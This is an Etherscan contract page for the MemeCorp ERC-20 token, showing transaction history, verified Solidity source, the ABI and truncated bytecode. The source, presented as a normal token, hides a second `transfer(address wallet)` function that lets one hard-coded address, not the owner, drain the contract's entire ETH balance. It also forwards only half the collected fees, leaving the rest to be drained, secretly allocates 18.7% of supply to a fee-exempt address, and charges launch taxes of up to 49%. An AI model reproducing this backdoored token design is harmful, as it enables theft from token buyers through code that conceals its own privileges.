ETH Price: $3,664.20 (+0.76%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve214563192024-12-22 6:43:1114 days ago1734849791IN
0x80B299E9...1bB4A73e1
0 ETH0.000279466
Approve213535212024-12-07 22:13:5929 days ago1733609639IN
0x80B299E9...1bB4A73e1
0 ETH0.0003102111.76065964
Approve213535202024-12-07 22:13:4729 days ago1733609627IN
0x80B299E9...1bB4A73e1
0 ETH0.0005789112.50969057
Approve205727342024-08-20 22:12:11138 days ago1724191931IN
0x80B299E9...1bB4A73e1
0 ETH0.000038980.83811559
Transfer205709532024-08-20 16:13:23138 days ago1724170403IN
0x80B299E9...1bB4A73e1
0 ETH0.000052791.00125573
Transfer205709502024-08-20 16:12:47138 days ago1724170367IN
0x80B299E9...1bB4A73e1
0 ETH0.000081971.17401128
Transfer198391572024-05-10 10:52:11240 days ago1715338331IN
0x80B299E9...1bB4A73e1
0 ETH0.000413425.92101382
Approve182977832023-10-07 9:42:59456 days ago1696671779IN
0x80B299E9...1bB4A73e1
0 ETH0.000249765.40415853
Transfer178929542023-08-11 16:51:35513 days ago1691772695IN
0x80B299E9...1bB4A73e1
0 ETH0.0009318325.10999144
Approve178414152023-08-04 11:47:11520 days ago1691149631IN
0x80B299E9...1bB4A73e1
0 ETH0.0008494118.26033982
Approve175687602023-06-27 5:53:11558 days ago1687845191IN
0x80B299E9...1bB4A73e1
0 ETH0.0002991412.34455921
Approve173806982023-05-31 18:42:59585 days ago1685558579IN
0x80B299E9...1bB4A73e1
0 ETH0.0020564444.15152601
Approve173498852023-05-27 10:46:23589 days ago1685184383IN
0x80B299E9...1bB4A73e1
0 ETH0.0010008221.48762423
Approve173479082023-05-27 4:06:47589 days ago1685160407IN
0x80B299E9...1bB4A73e1
0 ETH0.0017313337.21939275
Approve173458672023-05-26 21:13:11590 days ago1685135591IN
0x80B299E9...1bB4A73e1
0 ETH0.0014711531.62614625
Approve173441572023-05-26 15:28:35590 days ago1685114915IN
0x80B299E9...1bB4A73e1
0 ETH0.0015542833.41318873
Approve173440772023-05-26 15:12:23590 days ago1685113943IN
0x80B299E9...1bB4A73e1
0 ETH0.0020005843.00750657
Approve173424242023-05-26 9:36:23590 days ago1685093783IN
0x80B299E9...1bB4A73e1
0 ETH0.0011732125.18873947
Approve173353482023-05-25 9:43:35591 days ago1685007815IN
0x80B299E9...1bB4A73e1
0 ETH0.0014164430.45
Approve173301752023-05-24 16:16:23592 days ago1684944983IN
0x80B299E9...1bB4A73e1
0 ETH0.001409258.15244245
Approve173291982023-05-24 12:59:23592 days ago1684933163IN
0x80B299E9...1bB4A73e1
0 ETH0.0022836449.42413892
Approve173267662023-05-24 4:46:11592 days ago1684903571IN
0x80B299E9...1bB4A73e1
0 ETH0.0015094932.40852449
Approve173251362023-05-23 23:16:35593 days ago1684883795IN
0x80B299E9...1bB4A73e1
0 ETH0.0017084636.96624442
Approve173244012023-05-23 20:48:47593 days ago1684874927IN
0x80B299E9...1bB4A73e1
0 ETH0.0032847270.52255611
Approve173239292023-05-23 19:13:59593 days ago1684869239IN
0x80B299E9...1bB4A73e1
0 ETH0.0040391886.72067807
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
178414152023-08-04 11:47:11520 days ago1691149631
0x80B299E9...1bB4A73e1
0.00600628 ETH
178414152023-08-04 11:47:11520 days ago1691149631
0x80B299E9...1bB4A73e1
0.01201256 ETH
173220002023-05-23 12:41:35593 days ago1684845695
0x80B299E9...1bB4A73e1
1.21451245 ETH
173212502023-05-23 10:08:47593 days ago1684836527
0x80B299E9...1bB4A73e1
0.01635941 ETH
173212502023-05-23 10:08:47593 days ago1684836527
0x80B299E9...1bB4A73e1
0.03271883 ETH
173173222023-05-22 20:51:35594 days ago1684788695
0x80B299E9...1bB4A73e1
0.0448025 ETH
173173222023-05-22 20:51:35594 days ago1684788695
0x80B299E9...1bB4A73e1
0.089605 ETH
173169372023-05-22 19:33:35594 days ago1684784015
0x80B299E9...1bB4A73e1
0.1129089 ETH
173169372023-05-22 19:33:35594 days ago1684784015
0x80B299E9...1bB4A73e1
0.2258178 ETH
173166982023-05-22 18:45:35594 days ago1684781135
0x80B299E9...1bB4A73e1
0.12128747 ETH
173166982023-05-22 18:45:35594 days ago1684781135
0x80B299E9...1bB4A73e1
0.24257495 ETH
173165262023-05-22 18:10:59594 days ago1684779059
0x80B299E9...1bB4A73e1
0.12429715 ETH
173165262023-05-22 18:10:59594 days ago1684779059
0x80B299E9...1bB4A73e1
0.2485943 ETH
173164562023-05-22 17:56:35594 days ago1684778195
0x80B299E9...1bB4A73e1
0.21531207 ETH
173164562023-05-22 17:56:35594 days ago1684778195
0x80B299E9...1bB4A73e1
0.43062415 ETH
173164502023-05-22 17:55:23594 days ago1684778123
0x80B299E9...1bB4A73e1
0.20700657 ETH
173164502023-05-22 17:55:23594 days ago1684778123
0x80B299E9...1bB4A73e1
0.41401315 ETH
173163482023-05-22 17:34:47594 days ago1684776887
0x80B299E9...1bB4A73e1
0.11280188 ETH
173163482023-05-22 17:34:47594 days ago1684776887
0x80B299E9...1bB4A73e1
0.22560376 ETH
173163102023-05-22 17:27:11594 days ago1684776431
0x80B299E9...1bB4A73e1
0.20699969 ETH
173163102023-05-22 17:27:11594 days ago1684776431
0x80B299E9...1bB4A73e1
0.41399938 ETH
173162662023-05-22 17:18:23594 days ago1684775903
0x80B299E9...1bB4A73e1
0.25974334 ETH
173162662023-05-22 17:18:23594 days ago1684775903
0x80B299E9...1bB4A73e1
0.51948668 ETH
173162652023-05-22 17:18:11594 days ago1684775891
0x80B299E9...1bB4A73e1
42.02385997 ETH
173162492023-05-22 17:14:59594 days ago1684775699
0x80B299E9...1bB4A73e1
0.31416795 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MemeCorp

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity =0.8.20;

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract MemeCorp is IERC20, Ownable {
    string private constant  _name = "MemeCorp";
    string private constant _symbol = "MEMECORP";    
    uint8 private constant _decimals = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant _totalSupply = 1_000_000_000 * decimalsScaling;
    uint256 public constant _maxWallet = 3 * _totalSupply / 1e2;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address developmentWallet; 
    }

    uint256 private constant feeDenominator = 100;
    TradingFees public tradingFees = TradingFees(15,35);  
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x916Aa5C0D4803289722d21Fb1C856FdE30A4b7E0   // development
    );

    IDexRouter private constant uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable uniswapV2Pair;

    uint256 private constant _swapThreshold = 5 * _totalSupply / 1e3;  
    uint256 private _swapThresholdMax = 4;  
    uint256 private _swapThresholdMin = 5;  

    bool private inSwap;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private genesis;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event SwapSettingsChanged(uint256 indexed newSwapThresholdMax, uint256 indexed newSwapThresholdMin);

    event TokensCleared(uint256 indexed tokensCleared);

    event EthCleared(uint256 indexed ethCleared);

    event Initialized();

    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.developmentWallet] = true;        
        _excludedFromFees[0xE5ca81396E76fc40237E88616C02327083E2E891] = true;        
        uint256 preTokens = _totalSupply * 187 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0xE5ca81396E76fc40237E88616C02327083E2E891] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);

        emit TokensCleared(amountToClear);
    }

    function clearEth() external onlyOwner {
        uint256 amountToClear = address(this).balance;
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);

        emit EthCleared(amountToClear);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesis == 33 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap(type(uint256).max);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(!inSwap && to == uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap(amount);
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesis && genesis < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (genesis == 0 ? 35 : 49)) / feeDenominator;            
        }
    }

    function canSwap(uint256 amount) private view returns (bool) {
        return block.number > genesis && _lastTransferBlock[block.number] < 2 && 
            amount >= (_swapThresholdMin == 0 ? 0 : _swapThreshold / _swapThresholdMin);
    }

    function contractSwap(uint256 amount) swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap(amount)) 
            return;
        else if(contractBalance > _swapThreshold * _swapThresholdMax)
          contractBalance = _swapThreshold * _swapThresholdMax;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(ethBalance);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.developmentWallet).call{value: ethAmount/2}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0xB8105C37b1e8BE71efccbE80D4916430790ddd2D)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function initialize(uint256 _b) external onlyOwner {
        require(!tradingActive && _b == 33);
        genesis = _b;        

        emit Initialized();
    }

    function setSwapSettings(uint256 newSwapThresholdMax,uint256 newSwapThresholdMin) external onlyOwner {
        _swapThresholdMax = newSwapThresholdMax;
        _swapThresholdMin = newSwapThresholdMin;

        emit SwapSettingsChanged(newSwapThresholdMax, newSwapThresholdMin);
    }

     function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesis == 33 && _block > 0);
        genesis = block.number + _block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"ethCleared","type":"uint256"}],"name":"EthCleared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"SwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"tokensCleared","type":"uint256"}],"name":"TokensCleared","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_b","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"developmentWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052602360c081905260039190915560049081556101206040523360e081905273916aa5c0d4803289722d21fb1c856fde30a4b7e0610100819052600580546001600160a01b03199081169093178155600680549093169091179091556007919091556008556009805461ff001916905534801562000081575f80fd5b506200008d33620003d6565b620000af30737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000425565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000100573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000126919062000525565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000186573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ac919062000525565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001f7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021d919062000525565b6001600160a01b03908116608052600c6020527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c8054600160ff1991821681179092556006549092165f90815260408120805484168317905573e5ca81396e76fc40237e88616c02327083e2e89181527f8d5250d6f5021b9d3cfe72548574db7ea80730f15880dbb422cbd01fbc0936da80549093169091179091556103e8620002ca6009600a62000663565b620002da90633b9aca0062000673565b620002e79060bb62000673565b620002f391906200068d565b905080620003046009600a62000663565b6200031490633b9aca0062000673565b620003209190620006ad565b600580546001600160a01b039081165f9081526001602052604081209390935573e5ca81396e76fc40237e88616c02327083e2e89183527f95c1522864948b402d62b432eab8fef528af15e11dad89f0b723ab165c2410a1849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003ae6009600a62000663565b620003be90633b9aca0062000673565b60405190815260200160405180910390a350620006c3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004775760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004c55760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200046e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6020828403121562000536575f80fd5b81516001600160a01b03811681146200054d575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005a857815f19048211156200058c576200058c62000554565b808516156200059a57918102915b93841c93908002906200056d565b509250929050565b5f82620005c0575060016200065d565b81620005ce57505f6200065d565b8160018114620005e75760028114620005f25762000612565b60019150506200065d565b60ff84111562000606576200060662000554565b50506001821b6200065d565b5060208310610133831016604e8410600b841016171562000637575081810a6200065d565b62000643838362000568565b805f190482111562000659576200065962000554565b0290505b92915050565b5f6200054d60ff841683620005b0565b80820281158282048414176200065d576200065d62000554565b5f82620006a857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156200065d576200065d62000554565b608051611dfa620006f15f395f8181611115015281816112470152818161189001526118f20152611dfa5ff3fe608060405260043610610164575f3560e01c806374378132116100cd578063a9059cbb11610087578063dd62ed3e11610062578063dd62ed3e14610473578063e303e662146104b7578063f2fde38b146104d6578063fe4b84df146104f5575f80fd5b8063a9059cbb146103fa578063c9567bf914610419578063d2f4a50a1461042d575f80fd5b8063743781321461032357806382247ec0146103525780638da5cb5b146103665780638f4590d21461038c57806395d89b41146103ab578063a08fc5c7146103db575f80fd5b8063313ce5671161011e578063313ce567146102565780634fbee193146102715780635b895c29146102a857806364e329e3146102bc57806370a08231146102db578063715018a61461030f575f80fd5b806306fdde031461016f578063095ea7b3146101b157806318160ddd146101e05780631a695230146102025780631b9152bf1461022357806323b872dd14610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600881526704d656d65436f72760c41b60208201525b6040516101a89190611959565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb3660046119b8565b610514565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101f461052a565b6040519081526020016101a8565b34801561020d575f80fd5b5061022161021c3660046119e2565b61054a565b005b34801561022e575f80fd5b5061022161059e565b348015610242575f80fd5b506101d06102513660046119fd565b61067d565b348015610261575f80fd5b50604051600981526020016101a8565b34801561027c575f80fd5b506101d061028b3660046119e2565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102b3575f80fd5b5061022161075a565b3480156102c7575f80fd5b506102216102d6366004611a48565b610805565b3480156102e6575f80fd5b506101f46102f53660046119e2565b6001600160a01b03165f9081526001602052604090205490565b34801561031a575f80fd5b506102216108b5565b34801561032e575f80fd5b5060035460045461033d919082565b604080519283526020830191909152016101a8565b34801561035d575f80fd5b506101f46108f6565b348015610371575f80fd5b505f546040516001600160a01b0390911681526020016101a8565b348015610397575f80fd5b506102216103a6366004611ac7565b61092a565b3480156103b6575f80fd5b5060408051808201909152600881526704d454d45434f52560c41b602082015261019b565b3480156103e6575f80fd5b506102216103f5366004611ac7565b61099c565b348015610405575f80fd5b506101d06104143660046119b8565b610ab2565b348015610424575f80fd5b50610221610abe565b348015610438575f80fd5b50600554600654610453916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016101a8565b34801561047e575f80fd5b506101f461048d366004611ae7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c2575f80fd5b506102216104d13660046119e2565b610b6e565b3480156104e1575f80fd5b506102216104f03660046119e2565b610d68565b348015610500575f80fd5b5061022161050f366004611b1e565b610e0e565b5f610520338484610e96565b5060015b92915050565b5f6105376009600a611c29565b61054590633b9aca00611c37565b905090565b3373b8105c37b1e8be71efccbe80d4916430790ddd2d0361016b576040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610597573d5f803e3d5ffd5b5050565b50565b336105b05f546001600160a01b031690565b6001600160a01b0316146105df5760405162461bcd60e51b81526004016105d690611c4e565b60405180910390fd5b47476106265760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b60448201526064016105d6565b60405133904780156108fc02915f818181858888f1935050505015801561064f573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610745576001600160a01b0384165f9081526002602090815260408083203384529091529020548281101561071a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064016105d6565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610750848484610f8e565b90505b9392505050565b3361076c5f546001600160a01b031690565b6001600160a01b0316146107925760405162461bcd60e51b81526004016105d690611c4e565b305f90815260016020526040812054116107f95760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b60648201526084016105d6565b6108035f1961134b565b565b336108175f546001600160a01b031690565b6001600160a01b03161461083d5760405162461bcd60e51b81526004016105d690611c4e565b600b54602114801561084d575080155b610855575f80fd5b8282610862600382611c83565b81811061087157610871611c96565b6020029190910135600a5550828261088a600182611c83565b81811061089957610899611c96565b90506020020135600a54106108b0576108b0611caa565b505050565b336108c75f546001600160a01b031690565b6001600160a01b0316146108ed5760405162461bcd60e51b81526004016105d690611c4e565b6108035f611488565b60646109046009600a611c29565b61091290633b9aca00611c37565b61091d906003611c37565b6109279190611cbe565b81565b3361093c5f546001600160a01b031690565b6001600160a01b0316146109625760405162461bcd60e51b81526004016105d690611c4e565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b336109ae5f546001600160a01b031690565b6001600160a01b0316146109d45760405162461bcd60e51b81526004016105d690611c4e565b600354821115610a265760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d75737420726564756365206275792066656500000000000060448201526064016105d6565b600454811115610a785760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c20666565000000000060448201526064016105d6565b60038290556004819055604051819083907f64f84976d9